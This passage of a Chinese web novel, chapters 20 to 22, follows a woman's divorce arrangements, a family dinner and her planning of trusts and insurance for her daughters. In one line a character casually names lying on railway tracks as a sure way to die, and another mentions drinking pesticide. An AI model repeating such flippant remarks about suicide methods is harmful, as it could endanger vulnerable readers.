张志强无语,“说啥说。今天就说点让小冬高兴的,她正难呢,说这些干嘛。咱们就问问小冬有没有要帮忙的地方,看她过的好不好。其他无关的事,一样别提。” “行。”孔祥英只要回去能跟婆婆交待就行。 今天来的主要是姑伯这边的表堂亲,再远些的,堂姑伯那边的更远的表姐堂哥也有两个过来了。 秦冬带俩孩子进来时,大家倒是微微吃惊。秦冬穿了件剪裁简单的象牙白色连衣裙,俩孩子也有说有笑的。 “可算是来了。”祥英嫂子迎上前,李红也过去摸摸两个孩子的脸。 大家过去坐下,秦冬说,“你们来的太早了。” “都没什么事儿,冬,我们也是想早点过来看看你。” “我现在没事了。”冯铮很熟练的将面前碗碟放在自己觉着舒服的位置,拧开胡萝卜汁的瓶盖。秦冬帮小女儿摆好碗筷,“挺好的。” 张志强把菜单递给秦冬,“小冬你再添俩菜。” 秦冬看菜已经不少,就添了个自己爱吃的凉拌菜,冯铮加了个话梅排骨,冯涵要吃鸡蛋羹。服务员拿着点菜单下去准备。 祥英嫂子端量着她,神色都轻松几分,“非得见着你,才能放心。” “我是一时想不开,之前钻了牛角尖。”秦冬给小女儿拧开果汁瓶盖,自己转过水壶,倒了杯白开水,“我知道大家都牵挂我,担心我,我前几天也实在是太累了。我跟冯春结婚十几年,离婚的决心不容易下。 本来就过的难,我爸妈在我最难的时候羞辱我,把我撵了出来。” 大家都说好不提这事,没想到秦冬先提了,一时屏息凝神,都不敢说话。 秦冬喝口水,“你们给我发的信息,我都看到了。给我打的电话,我当时手机不是关机就是静音,都没接。那几天什么话都不想说,什么事都不想做。” 大家都表示理解,秦冬当时处境,好好活着就是坚强了。 “有时是这样,就想静一静。”胜男堂姐说,“冬。你现在住哪儿呢?之前我大姑姐说在安居宾馆见过你,我去打听,老板娘说你跟着林霞走了。” “我住在林霞家在县城的房子里。” “咱们在县城也有房子,你住我那儿去吧。” “不用了。我在县里住不了多少。等离婚的事办好,我打算出去转转。” 秦俊彦问,“姐,你想去哪儿?” “全国各地。”秦冬说,“我一毕业就结婚了,这几年一直没闲过。孩子们都懂事了,能离得了人,我出去看看。” 秦俊彦道,“姐,你出去看看,让小铮小涵到咱家来,我帮你照顾她们。” “看你说的,孩子们有爸爸,难道跟着舅舅、舅妈过日子。”秦冬看看两个孩子,说,“冯春背叛了婚姻,他对孩子们并不差。 我已经跟冯春商量好,期末考后,孩子们会转到市里读书,市区别墅给我,平时孩子们由爷爷奶奶照顾。不会跟赵莹住在一起,也不会让赵莹干涉孩子们的事。” 秦俊彦有些着急,“姓赵的怀的是个儿子,冯春为的这个才跟你离婚。等他有了儿子,还会把小铮小涵放眼里?” 秦冬靠着椅背,“我非常感激赵莹怀的是个儿子。” 秦俊彦不可置信的望向姐姐。 秦冬坦率的说,“如果不是因为赵莹怀的儿子,冯春可能不会跟我离婚,我可能还在忍气吞生的跟他过日子。” “我这辈子做的最愚蠢的事,就是在第一次发现冯春出轨后,听了很多人的劝,看在孩子的面子上,回了冯家。”秦冬说,“我的确担心孩子,那次回去,也是为了陪在孩子身边,我希望能看孩子们长大。” “但这种想法是错误的。我意味着,我容忍了冯春的出轨。意味着,在冯春看来,我就是可以随便欺负的。连他的出转都能忍,还有什么不能忍的?” “一个软弱又窝囊的妈妈,冯春在轻视我之后,会继续轻视我的孩子。”秦冬道,“不是连我自己的爸妈都一样看不起我,一样觉着我软弱好欺负吗?” 秦冬声音冰冷,“我跟孩子们谈过这件事,孩子们都支持我离婚。小铮认为我第一次就不该回去。” 冯铮说,“本来妈妈就不该回去。做人可以受穷可以受苦,但绝不受辱!我宁可我妈离婚,也不叫我妈窝囊的过日子。” “舅,你是好心。可你在家做不了主。”这几天,舅舅每天都会发微信问她妈妈的事,问她过的好不好。冯铮手指划拉着果汁玻璃瓶外冰过的细小水珠,说话半点不委婉,“我妈在娘家住两家都能被撵出来,我跟小涵比我妈更远一层,难道不跟着我爸,过去你家听姥姥、姥爷的闲话。” 秦俊彦羞愧难耐,“小铮,你——” “这是实话呀。难道舅你能控制住我姥姥那张臭嘴?”冯铮问。 秦俊彦缓了声音,“你姥姥很后悔,她知道错了,她以后说话会注意的。” “你可算了吧。我才不信这鬼话。江山易改,本性难移。我姥姥只对你和小鑫是真心的。我在自己家,住着我妈的房子,有爷爷奶奶,有司机有家政,干嘛像承天下大恩情一下去跟我姥姥过日子啊。”冯铮吐槽,“这得多想不开。” 她语重心长的说,“舅啊,我妈是天生命不好,遇着姥姥、姥爷这样的爸妈,非得人家对她又骂又撵,她才明白自己的地位。 我又不姓秦,我这辈子都不会跟姥姥姥爷来往的。她看不上我妈,我还看不上她呢。” “舅舅你也别总说我爸是因为赵莹怀了儿子才离婚的话。”冯铮下巴往志强表舅那里一抬,“志强舅和祥英舅妈也没儿子,就俩闺女,志强叔难道也出轨了?” 志强舅没想到竟被拉出来举例,一时不知该做何表情。 “我听说祥英舅妈特想生三胎拼儿子,志强舅死都不生。” 祥英舅妈:怎么连小铮都知道我想生三胎拼儿子的事啊! 冯铮对长辈们的尴尬视若无睹,她斩钉截铁的说,“出轨的原因只有一个,就是人品烂!” 秦俊彦顾不得妻子在桌下掐她,问冯铮,“你知道你爸人品烂,你还跟他?” “我爸的确对不起我妈,也对不起我们的四口之家。可我又不是让他当什么绝世好爸,我只需要一个安静舒服的读书环境就行了。”冯铮说,“我今年十一了,再有七年就成年。我成绩好,考个好大学并不难。每年我跟小涵考了第一,我爸能在他朋友圈置顶显摆一个星期。 我接下来就想好好读书,以后考好大学。难道我放着读书的事不做,见天咬牙切齿的恨我爸,把大好时光都浪费了。 舅,你想啥呢。” 秦俊彦被外甥女说的哑口无言,最终负气说一句,“你可真不像你妈。” “我妈就是因为人太好,才会受欺负。我这个人,天生恩怨分明,不好欺负!” 嘴里说着狠话,眉眼却是笑涔涔的,声音里含着戏谑,却又带着丝丝锋芒。李红暗道,小铮真的太像冯春了。【魔.蝎.小.说 】 20、第二十章 冯铮一个人,险没把她舅怼死。 大家心里都想,果然物极必反啊!小冬(冬姐)那么好脾气的人,直接生了个霸王。 唯有冯涵一脸崇拜的望着姐姐,满心都是:我姐真棒! 如果在家里,冯涵肯定要跑过去抱住姐姐啾两下。 秦冬也很欣慰,对大家说,“有时候觉着命运不公,我这么孝顺都暖不透父母的心。我跟冯春结婚十几年,他也是说出轨就出轨。可看看孩子们,我还是觉着,十几年没白过。” 李红恳切的说,“姐,俊彦也是觉着,你把孩子们带大不容易。俩孩子都这么好,白白给冯春,我和俊彦都替你不值。” “冯春会尽到抚养义务的。”秦冬说,“我不在孩子身边,也会每天给孩子们打视频,想孩子就会坐高铁或者坐飞机回来看看。 等我在外头站稳脚跟,就会接孩子们过去。” 农村家庭,家风都很淳朴,故而一直保留,父母离婚,孩子跟着爸爸会吃苦的念头。此时一想,秦冬说的也有道理。现在科技发达,交通方便,又不是直接闹成仇家,一方把孩子藏起来不让另一方见面。 张志强说,“冬说的在理,大家都有手机,孩子们放学回家哪个不玩儿啊。视频很方便。再说,咱们各家都有车,就是孩子们到市区读书,开车过去也就一个来小时,咱们有空去看看孩子。俊彦,咱们娘家人常去常往,冯家还敢对孩子不好?” 秦俊彦点点头,没再说话。 服务员进门上菜,大家边吃边聊。 秦冬先给冯铮夹块话梅排骨,再给冯涵盛蒸的嫩嫩的鸡蛋羹,让冯涵慢慢的,吹凉了再吃。 看秦冬这样细心的照顾俩孩子,张志强就觉着这个妹妹命苦,他关心的问,“冬,离婚的事都商量好了,什么时候办手续?” “我们现在正在给孩子做财产规划。”秦冬夹了些凉菜放碗里,“我没要公司和其他资产,全部要的现金。准备给孩子买几份大额保险,再做两份个人信托,用于孩子成年后的生活。等财产规划做好,资金到位,就去办手续。” 大家对于信托的反应都是,这是电视上才能看到的词语。胜男堂姐说,“这得请个律师吧?” “请了。不过,主意得我先定,保险和信托一些资料,我也得先看。确定买哪几种后,等保险公司和信托公司把合约发过来,要专业律师把关的。我跟冯春也要一条一条看过,替孩子们把好关。” 孔祥英表嫂问,“冬,这个具体是怎么回事,能跟我们说说不?” “保险就是终身的,现在买了,等孩子成年,每个月能领钱。信托我计划也是从孩子成年按月领钱,不过,二十岁拿一笔,三十岁再拿一笔,最后一笔是四十岁,全部拿出来。这样孩子以后或者想做自己的事业,或者有自己的打算,兴许就是个助力。” 李红说,“那孩子跟着冯春,冯春不会捣鬼吧。姐,这可得防着。” “不会的。保险全部放进信托里,信托不可分割,不可抵押,任何人都动不了,包括我和冯春。我会在条款里写明,如果孩子出现意外,我是唯一继承人。如果我出现意外,会由指定的国家慈善组织继承。” 看小铮总是吃肉,秦冬给她夹些素菜,“任何人,都无法分走信托里面的钱。就是小铮和小涵以后也要按条款领钱。” 大姑家的秀烨表姐说,“我看电视剧上也是这样说。电视剧里都这样演,大家族的有钱人,孩子按月领信托里的钱。现实还是头一回见,真长见识了。” 秀烨表姐问,“冬,冯春没抠抠索索的吧?” “没有。” 堂伯家的松林堂兄说,“冬全是为俩孩子打算,这要再抠索,那还是人吗?” 另一位表姑家的可心表姐说,“做妈的心都一样,都是在孩子身上。” 冯铮插一句,“可心姑,这得分人。像我姥姥的心全在我舅身上。” 秦俊彦抬头看屋顶,哎,他娘也不是没有克星。 可心姑说,“你姥姥上年纪了,老糊涂,别跟她一般见识。” “可心姑,你妈妈什么样?像我姥姥这样不?” 可心姑笑,“我妈呀,比你姥姥强点儿有限。一有个头疼脑热的就想着我,好事儿一件想不起我。” 可心姑是个爽快人,说话也干脆,“她一有事找我,我就打电话给我哥。让他去办。真是好笑,大家大业全给儿子,生病用人又找闺女。我们天生贱啊,阖该伺候人?” “我有这功夫我还伺候我婆婆哪。”可心姑夹块红烧鱼,慢慢择去大刺,“我婆婆打工种地挣的钱全给我,还帮我带孩子做饭。我干嘛不对我婆婆好啊。前儿我刚给我婆婆买了条大金链子,足花了两万。我妈听说后,打电话跟我哭了半小时。 你们不知道我心里头那个爽啊!” 大家听的没有不笑的。 松林堂兄说,“你是爽了。姑妈打电话跟我爸抱怨了三天。” “她有啥好抱怨的。我早说过,谁对我好,我就对谁好。我婆婆对我好,我当然对我婆婆好了。”可心吃口鱼肉,放下筷子道,“在座都是自家人,我说话也全凭公心。俊彦你是心疼你姐跟外甥女,可你家这情况,还真的是小冬这样安排最好。 冯春的确不做人,想要儿子的心也是真的。不过,他也不是拿闺女当草,顶多就是以后财产给儿子。 咱们小铮小涵又不缺钱。” 可心表姑对冯铮说,“我看俩孩子都是有出息的孩子。好好念书,天地宽着哪。” “这日子以后怎么样,全在自己个儿。”可心表姑说,“我也没承过娘家的家业,我家那位,你们都知道,再老实不过的人。我们也把日子过起来了。我妈见天眼红我日子好。 咱不争那个。好男不吃分家饭,好女不穿嫁时衣。 白手起家的多了。有本事的人,怎么都能起来。废物一个,天大家产也能给败了。只要孩子们好,小冬痛痛快快的,这婚就离得对。” 胜男表姐很赞同可心的观点,“我也这样说。”看向秦冬,“小冬,现在看你精神气色都回来了,我们就放心了。 其实我觉着你气色倒比以前更好。” 可心表姐端量着秦冬,含笑点头,“是比以前更好。”以前这个妹妹可没这样有主见。 孔祥英说,“小冬该拿主意的时候,就没错过。” “这话对。”可心表姐道,“我当初想做网红,做好些天没成,大棚里的菜也没卖出去。我去跟小冬念叨这事儿,我说,我也是人,冯春也是人,怎么他就粉丝蹭蹭长,我就始终没起色。 当时小冬给我出的主意,让我别弄那些搞怪的事儿,卖菜就把重点放菜上。 我当时大棚黄瓜,直接就弄了张桌子,顶花带刺儿的摆一排,直接就是开直播卖。那时直播的少,对着镜头话都不会说,都是提前写好的词儿。一大棚的黄瓜,一星期全都卖完了。 我种十几年的菜,头一回卖的这么痛快。我一看销路这么好,我们一个村儿大棚的菜,给我卖了大半。 后来我们七八月份收水果,钱不够,当时就小冬是个大户。我找小冬借钱,说真的,我那会儿挺担心的。小铮奶奶那人看着就不是个大方人,我还很担心被小铮奶奶知道。” 秦冬想到这事也不禁笑了,“当时可心姐在微信里千叮咛万嘱咐,这事儿一定得瞒紧了,别往外说。” “我跟我亲哥借钱,我妈都要念叨好久的。”可心叹,“婆家知道儿媳妇总借钱给娘家人,很多婆婆会小心眼的。” 秦冬道,“亲戚间,本来就该互帮互助。咱们都是又勤谨又踏实的人,有机会,当然要抓住。就是冯春姑姨娘舅的亲戚有事儿,只要是正经人,我也会让冯春帮一把。” 松林堂兄说,“好些人劝过他。没用。冯家人挺念小冬好的。” “不用劝。这种劝了,他回头,小冬你也别回头。”可心姐说,“这过日子,先图一个顺畅。又不是以前,女人离婚后无处可去。 天大地大,能去的地方多了。小冬你既然看开了,就不要回头。凭小冬你自己,难道就比姓冯的差。” 可心姐喝口果汁,“冯春别觉着全是靠他一个人发的财。就拿我们家说,日子变好后,多少人说你们姐夫老实,家里全靠我才起来的。什么鬼话,我只是因为爱说话,别人先看到的人是我。过日子这些年,细致事儿全是你们姐夫想着。” 张志强说,“姐夫是内秀。论细心,你可不如他。” 松林堂兄说,“有件事,你们帮我参祥参祥。我也想听听小冬你的意思。” “你们也知道,我一直在公司帮冯春管事。”松林堂兄道,“我要不要就趁这机会退出来。” 大家都看向秦冬,秦冬问,“松林哥你的意思呢?” 松林堂兄很坦率,“冯春待我跟以前一样,还私下跟我说过,让我安心干。我是想,他以后跟姓赵的结婚,工作是工作,我可不受姓赵的气。哪儿找不到一碗饭吃。” 秦冬说,“我跟冯春并没有撕破脸,他是孩子们的爸爸,你是孩子们的表舅。我先把一件事说前头,我给小铮小涵的钱,一辈子够用。她们以后,不会争冯春的财产。 你是靠本事工作,当然不用看谁的脸色。我只有一句话叮嘱你,任何时候都不做违法的事。” “绝对不会。”松林堂兄压低声音,“小冬你是不是听到什么了?” 屋内忽然寂静,气氛一时凝重。 “没有。”秦冬道,“赵莹家很多亲戚都在政府部门工作,就是我们常说的,人家政府里有人。有钱的人容易奢侈,接近权力的人容易傲慢。 多少在里头的人都会栽跟头。 咱们家的人,以前都在种地,现在也是做本分生意。我是觉着一旦卷进去,很难讲。普普通通的工作没事儿。 反正想到这儿了,就跟松林哥你说一声。”【魔.蝎.小.说 】 21、第二十一章 最后,酒店还送了个大果盘。 大家吃完饭,秦冬要结账,志强表哥说,“这回我请,谁都别抢。下次松林哥,然后往后排。” 收银说,“冬姐,包厢的账冯总已经结过了。” 秦冬不满,“冯春发神经了,干嘛替我们结账?” 收银道,“姐,反正你就省了。管他呢。” 秦冬才不领这情,“以后不许他替我付账。跟脑子有病似的。” “好好。”收银眉眼弯弯,强憋着收回上翘的嘴角。 既然结过账了,大家就道别离开。冯铮叫着妹妹去门口冰柜那里拿了俩免费小布丁,很多饭店夏天都会供应免费冰棍。 停车场挺近,一出门大院子就是。 松林堂哥过来说,“冬,我有些事要跟你说。我开车跟你后头,你别开太快。” “行。” 晚上行人车辆明显稀少,出来逛的,多是散步消暑。因为明天是工作日,孩子们都要上学,所以即使出来,大多也是打个转儿就带孩子回家睡觉。 两车一前一后驶入小区,俩孩子的小布丁也正好吃完,冯涵还依依不舍的嗦两下冰棍棒。秦冬装没看到。 松林哥停好车过来,大家一起进电梯。 这小区不错,在县城也属于高档社区了。松林哥进来,见秦冬要去倒茶,摆摆手,“冬,不用了。刚吃饭时没少喝果汁。” 秦冬请松林哥在客厅坐,自己也坐了,问,“松林哥,什么事?” “我也是近来听到的。听冯军说,燃气公司那边有个大股东要退出来,有人说冯春要出钱顶这一大股。” 秦冬静静听着,松林哥继续说,“咱们县的果汁厂要倒闭了,也有传言说冯春要接下果汁厂。” 秦冬才不管冯春要干嘛,她说,“我跟冯春马上就要离婚了,他爱干嘛跟我有什么关系?” 松林哥被这话问住,他愣怔了一下,才说,“刚刚吃饭时你说让我不要干违法的事,我立刻想到这两件事了。” 秦冬对冯春的事毫不关心,“我就是提醒松林哥你一声,并不是关心冯春,他爱咋咋地。我跟他已经没关系了。” 最喜欢听大人说话的冯铮忍不住说,“燃气公司怎么还有人退股啊?我记得我奶奶每年冬天都得把燃气公司臭骂一通,骂他们的气儿太贵,坑人。” 秦松林道,“市里有桩案子查到这个大股东头上,判决下来了,罚的挺多,股份急着脱手。” 冯铮好奇,“果汁厂怎么倒闭了?晚上还喝了呢。” “老板儿子拿公司的钱去投资,买期货,赔干净了。” 冯铮说,“这亏的都是账上的钱,又没贷款买,也不至于破产吧。” “就是因为把账上的钱亏了很多,老板禁止他儿子再投资。这小子自己个儿贷款去了,想赚回来,结果又亏了个底掉。”秦松林道,“亏了不敢跟家里说,还想往回捞,又在银行贷了一大笔。操弄了几回,银行都不贷钱给他了。等银行催着还款的时候,家里才知道这事儿。这小子直接跳湖了。” 这真是一件无语的事,秦冬不想评价。 倒是冯铮说,“死了也好。人死债消,银行也就没法子了。看来是没死。” “可不是么。要真想死,干嘛非得跳湖,还不如卧轨呢。深更半夜没人的时候,一定能死。” 冯铮说,“就不还钱,让这小子坐牢去好了。” “说的轻松。银行贷款可不是让他去炒期货的,这是擅自改变资金用途,属于骗贷。五百万以上就是巨额贷款诈骗,要判无期的。”秦冬闲散的靠着沙发椅背,跟秦松林说,“松林哥,这事儿咱们一丁点关系都没有。冯春爱干嘛干嘛,以后他的事你不要跟我讲了。” “哦。”秦松林拍下大腿站起来,“习惯了,有事儿就爱找你念叨念叨。” 时间不早了,秦冬送走松林哥,跟俩闺女说,“去洗澡,准备睡觉。” 冯铮说,“妈,你说我爸是要入股燃气公司,还是会买下果汁厂啊。” “我怎么知道。管他呢。不用操这心。快去洗澡,都八点了。” “妈妈你就不好奇吗?” “完全不好奇。” 冯铮说,“我有点担心,万一哪天我爸官商勾结进去了。妈,现在父母有犯罪记录,会影响子女考公的。” 这话简直像一记重锤砸秦冬脑袋上,秦冬懵了一下子,才回过神,抱住闺女的头狠狠亲下脑门儿,表扬闺女,“要不是小铮你提醒,我都忘了。我得找郑律师添上这条,到小涵三十岁前,如果冯春有刑事犯罪,立刻要归还一亿。” 冯铮正沉浸在被妈妈亲的羞涩的甜蜜中,就被两条胖胖的小胳膊抱住,冯涵踮着脚尖,在姐姐的脸颊上啾啾啾三下,特别崇拜的说,“姐姐你好厉害。” “还行吧。一般厉害。”冯铮想妹妹就是像妈妈,才总喜欢啾啾啾的。 秦冬让俩闺女拿毛巾去洗澡,她给俩孩子摆好小枕头,铺好小被子。等孩子们洗好澡,冯铮可以自己吹头发,冯涵还需要妈妈帮忙。 待俩孩子睡去了,秦冬才给郑律师发微信,郑律师看到这条信息,很是真心感慨:冬姐,你心真细,我记下了。一切影响孩子考公的行为,都不行。 秦冬:对对,就这意思。 秦冬:郑律师你结婚了吗? 郑律师:还没有。 秦冬:找男人一定要操亮眼睛。你看像我这种眼神不好的,离婚还要因这狗玩意儿担惊受怕。 郑律师笑着回了个好。 * 今天一起吃饭的大家伙儿,倒是确定一件事,秦冬分到多少钱不清楚,但一定是够俩孩子一辈子吃穿不愁的数字。 反正手里有钱,离就离呗,离了自己过日子更痛快,就是想再找,凭秦冬相貌、年龄、身家,那也容易的很。 秦爸秦妈草草的吃过晚饭,就巴巴的等着。 听到院子里有车响,秦妈立刻起身出去,见儿子儿媳回来,下台阶迎上前问,“见着你姐了吧?” “见着了。”秦俊彦看母亲眼巴巴的模样,心里难免有些不忍,说,“大姐挺好的。人有些瘦了,气色比从前要好。” “你大姐现在住哪儿呢?明儿你开车带我去瞧瞧她。” “以后再说吧。”秦俊彦扶着母亲上台阶,“我也不知道大姐住哪儿,就一起吃了顿饭,她现在挺忙的。” “在忙啥?”秦爸带着孙子秦鑫也站起来,问了儿子一句。 李红接过孩子,秦俊彦说,“忙离婚的事。” “这你得去呀。”秦爸说儿子,“离婚怎么能没娘家人在,你姐那性子软的,你也知道。还不得叫冯春骗傻了。” 秦妈也说,“明儿你就过去。” 秦俊彦坐沙发上,“我去也没用。我姐请了律师,还有银行经理,给俩孩子做财产规划。” 秦爸秦妈难免又是一通问,秦俊彦把自己听到的全数说了。保险、信托的事儿,秦爸秦妈完全一脸懵,他俩更不懂。 秦妈坚持,对儿子道,“反正你得过去。就是用不到你,你这么一大个儿往边儿上戳着,就没人敢小瞧你姐。” “我倒是愿意去。我姐明说了不用我。”秦俊彦道,“她这次是气大了。其实是妈你得罪了我姐,我并没得罪她。” 说到这没理的事儿,秦妈说,“我又不是故意的。我说去给她道歉,她又躲着不见人。” 李红让孩子把作业拿来检查,跟公婆说,“爸、妈,你们也不用太担心。我看大姐在离婚上没吃亏,大姐说,这次离婚分到的钱,给孩子买保险做依托,以后孩子们一辈子吃喝的钱都有了。” 她很朴实的跟丈夫说,“大姐是这个意思吧?” 秦俊彦点头,秦妈问,“那是分了多少?” “大姐没具体讲。”秦俊彦道,“应该不少。” 秦妈问半天没个具体数字,说这俩人,“白去一趟,你们这大老远过去,吃好几个钟头的饭,啥有用的都没听到。” 秦俊彦不服,“大家一起吃饭聊天,难道我去问,大姐你分多少钱?” “当然得问了!”秦妈气势十足,“冯春是有错的一方,按道理也该多给你们大姐一些补偿的!别人不好问,吃完饭你做亲兄弟的私下问一句也是应当的!” 觉着儿子儿媳纯纯俩废物,要紧事儿都没打听明白。 秦俊彦懒得跟母亲歪缠,索性祭出杀招,“我这就把小铮的号码给你,小铮现在跟我姐住,明天等孩子放学,你跟小铮聊聊吧。她可有一肚子好话等着你!”大姐早把他们一家子联系方式拉黑,唯有秦俊彦跟大外甥女冯铮保持微信联系。 “给我就给我!我看小铮是个能干的!这孩子也说得上话!” 秦妈看着时间,估摸孩子睡了,憋一宿,到第二天早上才跟外孙女联系。她知道俩外孙女有早起习惯,像夏天五点钟必然起床。 秦妈等到七点才给冯铮打电话,想跟外孙女打听一下闺女的情况。冯铮接了,然后,冯铮一顿输出把秦妈连讽带刺怼到哑口无言、泪流满面,当天早饭、午饭、晚饭,秦妈一口没吃。 要不是有秦爸劝着,她都想买二斤敌敌畏,一口灌下去,死了算了。【魔.蝎.小.说 】 22、第二十二章 秦冬把俩孩子送学校去,回家接到许昭表哥的电话,许昭表哥托人打听了一下吴经理,找了几个人打听,都说吴经理业内风评不错。 秦冬把挑中的几份保险圈出来,手机突然响起来,她接来一看,是县城卖保险的王秀英。 秦冬感慨一句这些人的消息灵通,接通电话。 王秀英说,“冬,听说你住县城来了,我娘家种了很多桃,今儿早我去地里现摘的,给你送些过去。” “不用了。”秦冬道,“我家里有呢。现在有些忙。” “听说你要给孩子们买保险,要不我过去帮你看看。你从不从我这儿买都没事儿,咱们这些年的交情,我帮你把把关,总比外人强。” 秦冬心道,你也不是我的内人啊。 人家吴经理见天发信息向她问好,而且,吴经理既然可靠,秦冬就想从吴经理那里办业务。她没打算从王秀英那儿买保险,也就不肯占王秀英的便宜,说,“保险合同我以前倒是常看,这次已经跟人家客户经理联系着了。就不麻烦你了。你要没别的事,我就挂了。” “行。冬,要是有不明白的地方,只管发给我,我帮你看。别跟我客气,以前你们公司的员工保险都是从我这儿买,我心里都记着哪。” 俩人说几句挂断电话。 王秀英看秦冬连见面都不肯,撇撇嘴,心说,怪道冯总变心,就这犟木头样儿,哪个男人能喜欢! 她收拾收拾,直接开车往冯春公司去了。秦冬那人她是知道的,啥事儿都得冯总做主。 冯春还真在公司,王秀英搬着两箱桃儿进去时,冯春在跟冯军商量事情,她在外头等了会儿才进去了。 “哟,这还没到续保的时候,怎么就给我送礼了。”冯春打趣一句。 “难道还非得续保才给您送东西呀。”王秀英放下两箱桃儿,“不是啥好东西,胜在新鲜。我娘家种的,我让我哥一大早去桃上摘的,挺甜的,冯总您有空尝尝。” 冯春拿瓶水递给她,“什么事啊?” “我听说小冬打算给俩孩子买保险,冯总,咱们认识这么多年,我的人品你是知道的。前年咱们公司员工一脚踩空,从楼梯上摔下去,摔成骨裂。我去处理的,保险赔了十几万,没让您花一分钱。 您要给孩子买保险,找我呀,我不比外人可靠。” 冯春坐在办公椅中说,“这事儿你找我没用,得去找小冬,这是小冬的钱,我可做不了她的主。” “她还不是听您的,您一句话的事儿。”王秀英目光灼灼的看着冯春。 冯春笑了笑,“你这看法该更新了。真做不了主。” “您这堂堂大老板,当家人儿,给多少钱还不是您说了算。” “现在小冬不是以前了,我可不敢招惹她。”冯春直截了当,“真帮不了你。带着桃儿走吧,无功不受禄。” “两箱桃儿还送的起。”王秀英起身,“您有空跟小冬说说,我能给她返佣,更实惠。” “行。今年续保给我返佣啊。” “我给您的早就是最实惠的了。” 王秀英看冯春不肯应承,有心想问问冯春,俩闺女都买保险,您那未出生的儿子要不要买两份? 想到冯春现在还没离婚,现在说这话不大保险,王秀英拿着水告辞。 王秀英做保险多年,对县城的有钱人如数家珍,就没有她不认识的。 她后备箱里还有两箱桃,想了想,索性给赵母送了过去。 这几天,赵家的氛围一直不太好。自从那天冯春负气离去,再没来过。赵莹也赌着气,不肯联系冯春。 王秀英直接搬着桃儿上门,幸亏赵家有人。 赵母开门见是她,连忙让开路,问,“你怎么有空来,没上班么?” “我娘家自己种的,胜在新鲜,给姨您带来尝尝。”王秀英把桃儿放下,说,“我们上班不用打卡,轻松。” 赵母请她到客厅说话,王秀英从包里拿出好几份适合孩子的大额寿险,“我们公司的大额寿险,给孩子买可合适了。” 赵母就有些不自在,自家闺女毕竟还没跟冯春领证,她说,“我可不懂这个。” 王秀英说,“姨你不知道吗?听说秦冬在张罗着给几个孩子买保险。我听说了这事,咱们既然认识,我不想瞒着你。” 赵母说,“那也是人家的事,跟我家可不相干。” “我知道。我就跟您说说。这大额寿险,一份就要五百万起步,给孩子买上一两份,孩子一辈子有钱花。”王秀英压低声音,“我跟秦冬也认识好几年了,咱私下说,她这人,瞧着不声不响的,那心眼儿可密着哪。什么都安排的妥妥当当。” * 秦冬把选好的保险发给冯春,打了个电话过去,让冯春也看一看。冯春大致扫一下,是四家保险公司的大额寿险,冯春说,“的确拆分买更好。” “吴经理帮我做的保险规划,我也一起发给你了。其他事你先放放,先看保险,先帮孩子把保险的事定下来。” “行,我让律师看一下。” “你也要一个字一个字的看一遍,这是关乎孩子的事,你该出一半的力。如果你不想出力,我会如实告诉孩子。” 冯春只能满口应下。 冯春从办公椅中站起来,跟秦冬打听,“你这两天昭哥、志强哥他们聚会啊。” “怎么了?” “没事儿。我就一说。”冯春摸摸办公桌上胖乎乎的招财猫,开玩笑的问,“你不会找他们来揍我吧?” “你是不是有病!你不知道打人是犯法的吗?”秦冬认为冯春说这话纯属犯贱,她说,“离婚这么大的事儿,大家都关心我,一起出来聚聚。我不仅得跟亲戚们聚聚,我还带着小敏去民政局范局长那里做了交接。” 冯春感慨,“这几天家里大伯大姑他们没少给我打电话,还有堂哥堂姐的都在劝我。冬,以前真没觉着你人缘这么好。” “以前我都是跟大家说,这都是冯春的意思,都是冯春想着你们。” 秦冬这话让冯春脸上一热,讪讪叫了声,“冬——” “以前你在外做事业,又是家里的顶梁柱,我当然会家里家外的说你好话,替你操心。”秦冬轻轻抚摸着百合花舒展的花瓣,“你不要多心,那些打电话劝你的亲戚不是我找的。我既然答应离婚,就不会回头。” “我不是这意思。” “那你的意思就是,突然发现我娘家虽然不可靠,我姑姨娘舅家的亲戚也不少。”秦冬转身靠着矮柜沿,对面墙壁上挂着一幅万马奔腾的油画。 “这我早知道。” 冯春的声音顺着听筒传入秦冬耳际,“当初他们需要帮忙的时候,我可没二话。冬,我是想,以前大家处的挺好,他们都是小铮小涵的长辈,要是因咱俩离婚的事记仇就不好了。” 秦冬冷笑,“谁闲着没事儿跟你做仇人?无非以后各做各的事!” “那就好。”冯春松口气,叮嘱秦冬,“那你少说我坏话啊。” “你做的事,大家都知道,这还用说?”秦冬不屑,“以后不许替我结账!你现在没这资格!” “冬,就是不做夫妻,也可以是朋友嘛。” “滚!”秦冬感觉这话简直隔着听筒污染了自己的耳朵,她鄙夷万分,“我是因为孩子的事情,才和你联系。就你那狗屎一样的品行,还想跟我做朋友,你配吗!” * 秦冬那边挂断电话,冯春看着手机结束通话的屏幕暗叹,自从决定离婚,小冬简直像吃了火药一样,以往情义恩爱半点都不在了。 当然,想想自己做的混账事,也不怪冬生气。 * 几乎快中午了,赵母送走王秀英,到女儿的房间去,看她还在床上躺着玩手机,强忍着压下怒气,“你就玩儿吧。你就玩儿吧。人家那边好几百万给孩子买保险,你可玩儿吧。” 赵莹放下手机,“什么事儿啊!怎么还阴阳怪气的。” “我说你,白读了这么多年书。亏你还是硕士,你真没人家大专的会筹谋。”赵母坐在床边,悄悄把王秀英带来的消息跟女儿讲了。她拍拍女儿身上盖着的薄被,“你想想,大额保单,一张就要五百万起步。我看王秀英眼红的都要冒血了,才来咱们家念叨。这事儿多半不是假的。” 赵莹咬咬嘴唇,“这些年,秦冬一天班都没上过,钱还不都不是春哥挣的。” “你别眼红这个,闺女有的,儿子自然也有。”赵母叹气,“我是说你这脾气,该收着些。你在这儿闹别扭,人家在那边不心疼的好几百万好几百万的买保险。你不跟小冯联系,小冯也跟你赌着气,你想想,这会儿便宜的是谁?” 赵莹将手一摆,纤纤十指上,美钻闪闪发光。她说,“我这回要低头,以后就得事事低头了。哪怕我有错,他也该来哄哄我。 妈你放心。春哥说过好几回燃气公司的事,他要想把那一大股吃下来,就得来找我。” 赵莹长眉轻蹙,跟母亲说,“保险的事不要紧。先趁这机会把春哥降伏住,不然以后哪有我说话的份儿啊!”【魔.蝎.小.说 】